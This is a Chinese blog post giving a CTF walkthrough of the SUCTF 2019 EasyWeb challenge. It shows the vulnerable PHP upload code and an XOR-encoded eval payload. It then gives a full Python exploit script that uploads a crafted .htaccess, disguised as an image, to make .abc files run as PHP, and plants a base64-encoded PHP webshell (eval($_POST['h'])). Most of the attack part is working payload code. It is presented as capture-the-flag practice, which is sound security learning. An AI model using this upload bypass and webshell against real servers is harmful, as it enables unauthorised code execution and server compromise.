[wp][SUCTF 2019]EasyWeb

这篇博客探讨了PHP代码中的文件上传安全问题。通过分析`get_the_flag`函数,可以看出代码存在过滤不严的漏洞,允许恶意用户通过构造特殊字符组合绕过限制,实现PNG+htaccess文件上传。作者详细展示了如何利用这些漏洞构造请求,包括创建.htaccess文件来改变文件解析方式,并上传PHP后门。虽然成功上传,但由于open_basedir限制,无法直接获取flag。解决这个问题可能需要利用蚁剑等工具进行进一步操作。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

先看后半段
构造$_GET()

_GET %FF%FF%FF%FF^%A0%B8%BA%AB
${%FF%FF%FF%FF^%A0%B8%BA%AB}($%ff)()&$%ff=phpinfo
?_=${%FF%FF%FF%FF^%A0%B8%BA%AB}{%ff}();&%ff=phpinfo

上面那一段,就是使用png+htaccess 上传就可以

<?php

 $a = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
 echo $a;

获得上传路径

import requests
import base64

rqurl="http://1cb8e60f-703b-4879-95cb-df61ee50a07d.node4.buuoj.cn:81/"
payload1="?_=${%FF%FF%FF%FF^%A0%B8%BA%AB}{%ff}();&%ff=get_the_flag"
url=rqurl+payload1
#通过define绕过exif_imagetype函数
htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c47b21fcf8f0bc8b3920541abd8024fd/shell.abc"
"""
shell = b"GIF89a00" + base64.b64encode(b"<?php eval($_POST['h']);?>")


files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

连上后看不到flag 原因 需要绕过open_basedir
使用蚁剑插件

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值